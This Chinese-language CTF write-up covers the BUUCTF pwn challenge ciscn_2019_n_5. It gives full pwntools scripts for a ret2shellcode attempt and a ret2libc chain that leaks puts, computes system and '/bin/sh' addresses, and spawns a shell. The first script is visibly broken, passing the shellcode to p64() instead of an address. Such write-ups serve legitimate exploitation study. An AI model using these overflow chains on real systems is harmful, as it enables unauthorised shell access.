两种解法:
预期解是 ret2shellcode, ubuntu18可以实现的(ubuntu24 bss 段可读可写不可不可执行)
非预期解是 ret2libc
1 2 3 4 5 6 7 8 9 10 [*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_n_5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char text[30 ]; setvbuf(stdout , 0LL , 2 , 0LL ); puts ("tell me your name" ); read(0 , name, 0x64u LL); puts ("wow~ nice name!" ); puts ("What do you want to say to me?" ); gets(text); return 0 ; }
预期解 ret2shellcode Stack: No canary found
可能存在栈溢出NX: NX unknown - GNU_STACK missing
, bss 段可能可写
.bss:0000000000601080 name db 64h dup(?) ; DATA XREF: main+35↑o
思路:
第一次输入 name ,可以写入 shellcraft.sh()
第二次 gets(text)
栈溢出,ret 到 name 写入的 bss 段, 执行 shellcode,get shell
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * context (log_level = 'debug' , arch = 'amd64' , os = 'linux' ) pwnfile= './ciscn_2019_n_5' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x28 bss_addr = 0x601080 shellcode = asm (shellcraft.sh()) payload = b'a' * padding + p64(shellcode) io.recvuntil('tell me your name\n' ) io.sendline(shellcode) io.recvuntil('What do you want to say to me?\n' ) io.sendline(payload) io.interactive()
但是发现本地和远程都打不通不知道为啥, vmmap 显示 BSS 段不可执行
1 2 3 4 5 6 7 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File 0x400000 0x401000 r-xp 1000 0 /mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_n_5 0x600000 0x601000 r--p 1000 0 /mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_n_5 0x601000 0x602000 rw-p 1000 1000 /mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_n_5 ...
非预期解 ret2libc 思路:
利用 gets 溢出,puts 输出 puts@got
利用 puts@got 求基地址
基地址求 binsh_addr 和 system_addr
回到 main 再次溢出,get shell
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * from LibcSearcher import * io = remote("node5.buuoj.cn" ,25621 ) pwnfile= './ciscn_2019_n_5' # io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) # 引入libc共享库文件 padding = 0x28 pop_rdi_ret_addr = 0x400713 puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] main_addr = 0x400636 ret_addr = 0x4004c9 # bss_addr = 0x601080 # shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64" ) payload = b'a' * padding + p64(pop_rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.recvuntil('tell me your name\n' ) io.sendline('aaaa' ) io.recvuntil('What do you want to say to me?\n' ) io.sendline(payload) puts_addr = u64(io.recv(6 ).ljust(8 , b'\x00' )) print("puts_addr:" ,hex(puts_addr)) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) print('libc_base:' ,hex(libc_base)) system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) print('system:' ,hex(system_addr)) print('bin_sh:' ,hex(binsh_addr)) payload2 = b'a' * padding + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) io.recvuntil('tell me your name\n' ) io.sendline('aaaa' ) io.recvuntil('What do you want to say to me?\n' ) io.sendline(payload2) io.interactive()
补充 Python_LibcSearcher 基本用法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from LibcSearcher import *libc = LibcSearcher('write' , write_addr) libc_base = write_addr - libc.dump('write' ) print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (binsh_addr))
Ret2Libc 注意 io.recv() 接收
1 puts_addr = u32(io.recv(4 ))
1 puts_addr = u64(io.recv(6 ).ljust(8 , b'\x00' ))